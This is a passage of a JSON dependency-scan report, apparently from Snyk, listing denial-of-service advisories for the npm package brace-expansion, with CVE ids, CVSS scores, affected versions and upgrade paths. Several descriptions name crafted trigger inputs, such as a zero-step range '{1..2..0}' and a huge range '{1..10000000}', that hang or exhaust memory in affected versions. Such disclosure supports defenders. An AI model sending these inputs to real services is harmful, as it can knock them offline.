"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, 